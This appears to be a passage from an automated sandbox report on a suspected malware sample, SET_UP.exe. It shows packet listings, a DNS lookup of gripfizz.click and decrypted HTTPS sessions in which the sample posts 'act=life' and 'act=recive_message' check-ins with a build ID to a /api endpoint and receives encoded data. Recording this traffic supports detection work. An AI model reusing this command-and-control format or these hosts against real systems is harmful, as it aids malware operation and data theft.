Dec 27, 2024 20:33:14.222264051 CET	49731	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:14.222275972 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:14.222527981 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:14.224334002 CET	49731	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:14.224386930 CET	49731	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:14.224401951 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.007050037 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.007088900 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.007121086 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.007150888 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.007180929 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.007186890 CET	49731	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:15.007213116 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.007245064 CET	49731	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:15.007267952 CET	49731	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:15.007275105 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.015305042 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.015404940 CET	49731	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:15.015414000 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.023623943 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.023703098 CET	49731	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:15.023713112 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.036066055 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.036103964 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.036118031 CET	49731	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:15.036128044 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.036165953 CET	49731	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:15.036171913 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.036181927 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.036222935 CET	49731	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:15.036427975 CET	49731	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:15.036442995 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.036458969 CET	49731	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:15.036463976 CET	443	49731	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.191274881 CET	49732	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:15.191333055 CET	443	49732	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:15.191411972 CET	49732	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:15.191695929 CET	49732	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:15.191720009 CET	443	49732	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:16.404210091 CET	443	49732	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:16.404330969 CET	49732	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:16.406131029 CET	49732	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:16.406150103 CET	443	49732	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:16.406354904 CET	443	49732	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:16.408025026 CET	49732	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:16.408190012 CET	49732	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:16.408224106 CET	443	49732	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:16.408282042 CET	49732	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:16.408298016 CET	443	49732	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:17.356664896 CET	443	49732	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:17.356743097 CET	443	49732	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:17.356911898 CET	49732	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:17.357047081 CET	49732	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:17.357074022 CET	443	49732	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:17.435774088 CET	49733	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:17.435802937 CET	443	49733	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:17.435877085 CET	49733	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:17.436182022 CET	49733	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:17.436193943 CET	443	49733	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:18.742284060 CET	443	49733	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:18.742369890 CET	49733	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:18.745390892 CET	49733	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:18.745399952 CET	443	49733	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:18.745634079 CET	443	49733	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:18.747800112 CET	49733	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:18.747800112 CET	49733	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:18.747818947 CET	443	49733	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:19.593910933 CET	443	49733	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:19.593977928 CET	443	49733	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:19.594046116 CET	49733	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:19.594393015 CET	49733	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:19.594404936 CET	443	49733	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:19.872834921 CET	49735	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:19.872858047 CET	443	49735	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:19.872989893 CET	49735	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:19.873481989 CET	49735	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:19.873491049 CET	443	49735	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:21.530985117 CET	443	49735	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:21.531115055 CET	49735	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:21.532599926 CET	49735	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:21.532608986 CET	443	49735	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:21.532804012 CET	443	49735	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:21.533941984 CET	49735	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:21.534070969 CET	49735	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:21.534096956 CET	443	49735	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:21.534173012 CET	49735	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:21.534173012 CET	49735	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:21.534182072 CET	443	49735	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:21.575337887 CET	443	49735	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:22.475406885 CET	443	49735	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:22.475485086 CET	443	49735	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:22.475619078 CET	49735	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:22.516674042 CET	49735	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:22.516688108 CET	443	49735	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:23.347285032 CET	49737	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:23.347333908 CET	443	49737	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:23.347428083 CET	49737	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:23.347882986 CET	49737	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:23.347898960 CET	443	49737	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:24.604552984 CET	443	49737	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:24.604707956 CET	49737	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:24.606477976 CET	49737	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:24.606488943 CET	443	49737	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:24.606704950 CET	443	49737	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:24.607965946 CET	49737	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:24.608114958 CET	49737	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:24.608119965 CET	443	49737	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:25.706886053 CET	443	49737	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:25.706975937 CET	443	49737	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:25.707063913 CET	49737	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:25.707586050 CET	49737	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:25.707618952 CET	443	49737	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:25.894125938 CET	49740	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:25.894176960 CET	443	49740	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:25.894258022 CET	49740	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:25.894560099 CET	49740	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:25.894577026 CET	443	49740	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:27.228733063 CET	443	49740	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:27.228931904 CET	49740	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:27.233014107 CET	49740	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:27.233038902 CET	443	49740	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:27.233268976 CET	443	49740	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:27.240782022 CET	49740	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:27.240876913 CET	49740	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:27.240885019 CET	443	49740	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:28.019587040 CET	443	49740	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:28.019670010 CET	443	49740	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:28.019932985 CET	49740	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:28.020009041 CET	49740	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:28.020019054 CET	443	49740	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:28.101351023 CET	49742	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:28.101382017 CET	443	49742	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:28.101452112 CET	49742	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:28.101805925 CET	49742	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:28.101819038 CET	443	49742	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:29.366009951 CET	443	49742	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:29.366244078 CET	49742	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:29.367547035 CET	49742	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:29.367562056 CET	443	49742	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:29.367779016 CET	443	49742	172.67.152.152	192.168.2.4
Dec 27, 2024 20:33:29.375834942 CET	49742	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:29.375869989 CET	49742	443	192.168.2.4	172.67.152.152
Dec 27, 2024 20:33:29.375906944 CET	443	49742	172.67.152.152	192.168.2.4
Dec 27, 2024 20:34:02.406785011 CET	49742	443	192.168.2.4	172.67.152.152

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 20:33:10.432375908 CET	50242	53	192.168.2.4	1.1.1.1
Dec 27, 2024 20:33:10.768784046 CET	53	50242	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 20:33:10.432375908 CET	192.168.2.4	1.1.1.1	0x7c29	Standard query (0)	gripfizz.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 20:33:10.768784046 CET	1.1.1.1	192.168.2.4	0x7c29	No error (0)	gripfizz.click		172.67.152.152	A (IP address)	IN (0x0001)	false
Dec 27, 2024 20:33:10.768784046 CET	1.1.1.1	192.168.2.4	0x7c29	No error (0)	gripfizz.click		104.21.1.240	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

gripfizz.click

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.152.152	443	6428	C:\Users\user\Desktop\SET_UP.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:33:12 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: gripfizz.click
2024-12-27 19:33:12 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 19:33:12 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 19:33:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=geq2k29l1vcsdnu5vc52aje8hp; expires=Tue, 22 Apr 2025 13:19:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=In7FACYv06qmUE1kJn5BAoQM2sNZGA6%2Flx8t74swS1RatF%2BG%2FVf38BFF%2FsojouCXtm9zX%2BYVjXUUldjufo%2Fe68WKGmd6XAj68dsydtIlE9rvW0lCUxs%2FpDupkXNSfpZ6dg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8bbdafffef5e70-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14717&min_rtt=10876&rtt_var=6822&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=905&delivery_rate=268481&cwnd=228&unsent_bytes=0&cid=f2231a05c9f69f74&ts=890&x=0"
2024-12-27 19:33:12 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 19:33:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.152.152	443	6428	C:\Users\user\Desktop\SET_UP.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:33:14 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 80 Host: gripfizz.click
2024-12-27 19:33:14 UTC	80	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 45 4c 56 49 52 41 26 6a 3d 65 66 64 65 62 64 65 30 35 37 61 31 64 66 33 66 37 63 31 35 62 37 66 34 64 61 39 30 37 63 32 64 Data Ascii: act=recive_message&ver=4.0&lid=hRjzG3--ELVIRA&j=efdebde057a1df3f7c15b7f4da907c2d
2024-12-27 19:33:15 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 19:33:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=povn7u1ubcrjoh08ahhsbt0b43; expires=Tue, 22 Apr 2025 13:19:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ztPm1q6RuoWf0HDFG7qn8hVubU665%2FueZtVItaluqbVgvEJPMf4oT%2FyQFCRQmOYo6LWr79qX7te5xJ0QiIcCFtGgd8XKNK3FmqXN3AZkzSzwqhQSOyeTgqkJmxBcXTJkiA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8bbdbdab191839-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1771&min_rtt=1666&rtt_var=699&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=978&delivery_rate=1752701&cwnd=245&unsent_bytes=0&cid=3979e062412d07a2&ts=793&x=0"
2024-12-27 19:33:15 UTC	246	IN	Data Raw: 32 64 37 37 0d 0a 37 32 4f 44 31 6e 61 52 62 63 5a 72 53 69 37 75 33 74 39 34 69 47 51 67 4e 66 59 64 2b 51 75 42 6d 4f 57 55 6b 71 70 45 68 57 75 55 51 66 58 30 54 4b 56 42 35 42 67 76 44 4e 53 34 76 68 54 37 41 51 77 58 6c 33 6e 62 4d 65 66 35 69 65 66 33 68 6d 62 7a 42 73 31 5a 35 62 63 61 34 67 6a 71 53 53 39 57 7a 4f 53 45 41 36 6f 42 54 68 66 4d 50 35 78 68 34 2f 6d 4a 39 76 50 42 4b 2f 55 48 6a 41 76 76 73 52 37 30 44 71 49 4b 4a 6b 4f 4c 75 37 6f 5a 34 67 70 4a 57 4a 35 77 32 79 65 6a 2f 5a 2b 32 71 49 67 4a 34 42 2b 4f 4c 75 4b 6c 48 62 4d 51 36 68 42 6f 53 34 44 38 35 56 72 70 41 55 4a 5a 6b 48 6d 53 59 2b 6e 77 67 66 66 32 77 44 54 73 44 59 63 4c 34 62 49 66 2f 67 65 32 42 79 78 45 67 4c 32 77 47 61 70 49 41 6c 43 4d Data Ascii: 2d7772OD1naRbcZrSi7u3t94iGQgNfYd+QuBmOWUkqpEhWuUQfX0TKVB5BgvDNS4vhT7AQwXl3nbMef5ief3hmbzBs1Z5bca4gjqSS9WzOSEA6oBThfMP5xh4/mJ9vPBK/UHjAvvsR70DqIKJkOLu7oZ4gpJWJ5w2yej/Z+2qIgJ4B+OLuKlHbMQ6hBoS4D85VrpAUJZkHmSY+nwgff2wDTsDYcL4bIf/ge2ByxEgL2wGapIAlCM
2024-12-27 19:33:15 UTC	1369	IN	Data Raw: 50 38 4d 70 73 4d 69 45 35 2b 48 64 4b 2f 63 50 7a 52 36 76 72 56 54 30 41 2b 52 52 61 45 53 41 73 72 67 5a 35 51 46 44 56 34 5a 77 6d 32 72 72 38 6f 50 38 2f 38 63 70 36 51 4f 4b 43 65 69 7a 47 2f 51 48 6f 67 59 72 44 4d 4c 38 75 67 4b 71 58 67 4a 33 68 48 79 59 66 65 37 72 78 2b 6d 2b 30 57 62 67 42 63 31 5a 6f 62 49 61 38 67 4b 6b 47 79 42 48 68 37 6d 76 45 65 4d 4c 54 31 65 5a 64 5a 52 71 34 2f 32 4e 2f 50 2f 43 49 75 6f 45 69 77 48 68 39 46 71 7a 43 4c 78 4a 63 41 79 76 75 61 30 64 35 68 41 41 62 64 52 67 31 58 43 6a 2f 59 75 32 71 49 67 75 34 67 71 4f 43 75 36 33 48 50 67 64 70 42 73 75 51 59 6d 75 75 78 2f 6b 44 45 46 46 6e 6e 47 64 61 75 72 78 6a 76 50 33 7a 47 61 70 53 59 6f 5a 6f 65 78 55 30 67 4b 76 42 53 4a 62 6a 50 79 69 56 50 4e 47 52 56 76 Data Ascii: P8MpsMiE5+HdK/cPzR6vrVT0A+RRaESAsrgZ5QFDV4Zwm2rr8oP8/8cp6QOKCeizG/QHogYrDML8ugKqXgJ3hHyYfe7rx+m+0WbgBc1ZobIa8gKkGyBHh7mvEeMLT1eZdZRq4/2N/P/CIuoEiwHh9FqzCLxJcAyvua0d5hAAbdRg1XCj/Yu2qIgu4gqOCu63HPgdpBsuQYmuux/kDEFFnnGdaurxjvP3zGapSYoZoexU0gKvBSJbjPyiVPNGRVv
2024-12-27 19:33:15 UTC	1369	IN	Data Raw: 75 37 32 78 37 69 77 7a 7a 36 6e 55 63 30 72 34 71 41 58 2b 55 32 52 43 69 5a 43 69 36 72 39 42 61 51 66 41 6c 43 59 50 38 4d 70 37 76 75 50 38 4f 4c 48 4b 2b 51 48 67 77 37 6b 75 78 7a 7a 44 36 6b 4d 4c 45 65 48 76 37 41 65 2b 41 78 43 58 35 46 2b 6b 57 4f 6a 74 4d 66 78 36 49 68 2b 70 7a 69 61 43 71 4f 42 46 2f 30 42 6f 78 39 6f 55 38 4b 6c 2f 52 33 6d 52 68 6f 58 6d 58 65 65 62 4f 7a 37 6a 66 6a 31 77 69 72 76 42 34 34 54 37 72 41 55 2f 77 65 75 42 43 5a 49 68 4c 57 32 45 65 77 47 51 31 33 55 4d 64 74 75 2b 37 72 66 74 73 54 50 4b 75 6f 47 7a 7a 54 69 75 68 72 30 47 65 51 57 5a 6c 58 4d 75 37 46 61 73 6b 5a 4f 58 70 52 30 6b 57 33 6a 2f 59 72 7a 38 38 38 6c 36 67 36 48 44 2b 61 77 47 50 6f 43 6f 67 6b 76 53 49 6d 75 75 42 50 6d 43 67 49 5a 31 48 69 44 Data Ascii: u72x7iwzz6nUc0r4qAX+U2RCiZCi6r9BaQfAlCYP8Mp7vuP8OLHK+QHgw7kuxzzD6kMLEeHv7Ae+AxCX5F+kWOjtMfx6Ih+pziaCqOBF/0Box9oU8Kl/R3mRhoXmXeebOz7jfj1wirvB44T7rAU/weuBCZIhLW2EewGQ13UMdtu+7rftsTPKuoGzzTiuhr0GeQWZlXMu7FaskZOXpR0kW3j/Yrz888l6g6HD+awGPoCogkvSImuuBPmCgIZ1HiD
2024-12-27 19:33:15 UTC	1369	IN	Data Raw: 66 78 2f 49 68 2b 70 77 43 45 45 2b 2b 36 48 66 34 4a 72 41 34 6d 51 59 65 36 74 68 33 74 41 45 39 66 6d 58 71 59 61 4f 66 77 6c 66 58 37 77 69 76 74 53 63 4e 42 35 71 78 55 71 30 2b 44 42 51 46 63 6c 36 36 72 57 76 56 49 57 78 65 54 63 39 73 78 6f 2f 6d 49 2f 2f 2f 41 4c 75 67 47 69 51 2f 6e 73 68 6e 32 41 4b 34 62 49 45 4b 42 74 37 49 52 2b 41 5a 50 55 35 68 37 6b 32 4c 70 75 73 6d 32 39 39 42 6d 76 30 6d 34 44 4f 36 30 46 2b 56 50 75 30 63 78 44 49 75 77 2f 55 4b 71 43 6b 78 58 6d 33 4f 58 59 75 76 37 69 2f 6a 33 7a 53 2f 76 41 5a 38 41 35 62 77 56 2f 51 43 6c 44 53 31 4a 69 4c 75 35 48 4f 56 47 44 42 65 54 5a 39 73 78 6f 39 57 67 77 37 4c 70 48 4b 63 57 77 78 69 68 73 78 69 7a 56 2b 51 46 4b 30 43 45 73 37 73 54 35 67 78 4c 58 4a 68 30 6e 32 58 71 2f Data Ascii: fx/Ih+pwCEE++6Hf4JrA4mQYe6th3tAE9fmXqYaOfwlfX7wivtScNB5qxUq0+DBQFcl66rWvVIWxeTc9sxo/mI///ALugGiQ/nshn2AK4bIEKBt7IR+AZPU5h7k2Lpusm299Bmv0m4DO60F+VPu0cxDIuw/UKqCkxXm3OXYuv7i/j3zS/vAZ8A5bwV/QClDS1JiLu5HOVGDBeTZ9sxo9Wgw7LpHKcWwxihsxizV+QFK0CEs7sT5gxLXJh0n2Xq/
2024-12-27 19:33:15 UTC	1369	IN	Data Raw: 4a 49 50 55 4f 68 42 50 76 75 52 76 37 42 36 30 49 4c 45 6d 42 75 72 45 51 36 77 46 4d 57 5a 77 2f 31 53 6e 6b 34 73 65 75 73 4f 6b 32 2f 42 75 62 44 4d 43 35 47 37 4d 51 36 68 42 6f 53 34 44 38 35 56 72 6a 46 45 5a 61 68 6e 61 63 5a 2b 7a 35 6c 66 66 39 77 7a 54 67 42 6f 6b 47 37 62 49 62 39 51 36 68 41 79 52 4c 69 62 65 79 46 71 70 49 41 6c 43 4d 50 38 4d 70 7a 66 47 55 34 66 50 47 4c 66 45 53 7a 52 36 76 72 56 54 30 41 2b 52 52 61 45 2b 48 74 37 6b 61 35 67 5a 47 57 70 52 74 6c 47 37 6b 38 34 7a 6b 2b 73 38 68 37 41 47 47 44 75 65 6d 47 50 30 64 6f 52 73 36 44 4d 4c 38 75 67 4b 71 58 67 4a 68 6b 32 2b 4c 61 71 48 4c 6b 66 58 6d 77 79 76 72 53 5a 4a 50 2b 50 51 54 2f 30 2f 38 53 53 35 44 68 62 2b 79 47 2b 4d 4b 54 31 4b 64 65 70 70 76 35 2f 43 4e 39 76 Data Ascii: JIPUOhBPvuRv7B60ILEmBurEQ6wFMWZw/1Snk4seusOk2/BubDMC5G7MQ6hBoS4D85VrjFEZahnacZ+z5lff9wzTgBokG7bIb9Q6hAyRLibeyFqpIAlCMP8MpzfGU4fPGLfESzR6vrVT0A+RRaE+Ht7ka5gZGWpRtlG7k84zk+s8h7AGGDuemGP0doRs6DML8ugKqXgJhk2+LaqHLkfXmwyvrSZJP+PQT/0/8SS5Dhb+yG+MKT1Kdeppv5/CN9v
2024-12-27 19:33:15 UTC	1369	IN	Data Raw: 52 35 52 42 35 72 68 55 71 30 2b 6e 44 69 74 4e 68 72 57 78 46 65 30 43 55 46 32 54 62 5a 70 6f 36 50 65 4c 39 76 33 46 4c 4f 59 41 67 41 33 73 73 78 50 38 43 75 52 48 61 45 75 55 2f 4f 56 61 79 77 74 4a 57 38 38 6c 32 33 61 74 34 38 66 78 2f 49 68 2b 70 77 6d 48 42 4f 75 35 46 2f 77 4d 74 67 67 75 58 6f 79 78 74 77 6a 67 44 55 64 61 6d 58 4b 59 62 2b 58 78 69 2b 54 35 79 43 58 73 53 63 4e 42 35 71 78 55 71 30 2b 48 48 6a 35 47 69 37 43 72 45 65 73 46 56 46 71 45 50 39 55 70 38 76 32 57 74 71 6a 65 4e 76 41 4f 6b 6b 2f 34 39 42 50 2f 54 2f 78 4a 4c 6b 57 4b 75 37 73 55 2b 41 4e 45 57 4a 74 32 6b 6d 33 72 2b 59 66 79 39 4d 38 6a 35 41 57 47 42 75 4b 37 45 50 6f 42 72 51 5a 6f 41 73 79 37 70 56 71 79 52 6d 4e 4d 6c 33 4f 57 4b 66 79 30 6e 72 62 33 78 47 61 Data Ascii: R5RB5rhUq0+nDitNhrWxFe0CUF2TbZpo6PeL9v3FLOYAgA3ssxP8CuRHaEuU/OVaywtJW88l23at48fx/Ih+pwmHBOu5F/wMtgguXoyxtwjgDUdamXKYb+Xxi+T5yCXsScNB5qxUq0+HHj5Gi7CrEesFVFqEP9Up8v2WtqjeNvAOkk/49BP/T/xJLkWKu7sU+ANEWJt2km3r+Yfy9M8j5AWGBuK7EPoBrQZoAsy7pVqyRmNMl3OWKfy0nrb3xGa
2024-12-27 19:33:15 UTC	1369	IN	Data Raw: 61 47 55 48 2b 55 4b 6f 78 39 71 65 59 2b 79 73 78 33 38 52 6c 31 6f 32 6a 2b 61 4b 62 76 44 6e 72 62 6d 69 48 36 31 52 38 30 54 6f 65 78 55 74 41 79 32 47 79 35 50 6d 72 2f 36 4a 4e 51 68 56 46 32 54 62 35 78 2b 37 4c 72 4a 74 76 2b 49 66 74 35 4a 68 41 62 36 70 51 4c 2b 48 36 4e 4a 46 77 4c 4d 70 50 31 43 71 6a 4e 42 57 5a 70 34 6a 58 69 75 33 5a 48 38 39 39 67 68 38 41 62 4e 54 36 47 79 56 4b 74 63 36 6b 6b 73 58 63 7a 6b 37 55 69 78 55 78 45 41 78 43 32 45 4a 2f 71 36 6b 62 61 6f 6d 6d 69 6e 47 38 31 5a 6f 66 4d 58 34 52 32 69 43 6a 35 50 79 34 4b 44 50 66 41 4c 52 45 43 46 51 61 56 75 2b 66 65 42 34 65 47 45 4d 2b 51 48 67 77 62 33 39 46 71 7a 41 4f 52 52 45 51 7a 45 2f 49 4a 55 71 68 34 43 44 39 52 4b 6d 47 66 74 2f 5a 48 6e 76 65 38 38 36 67 2b 61 Data 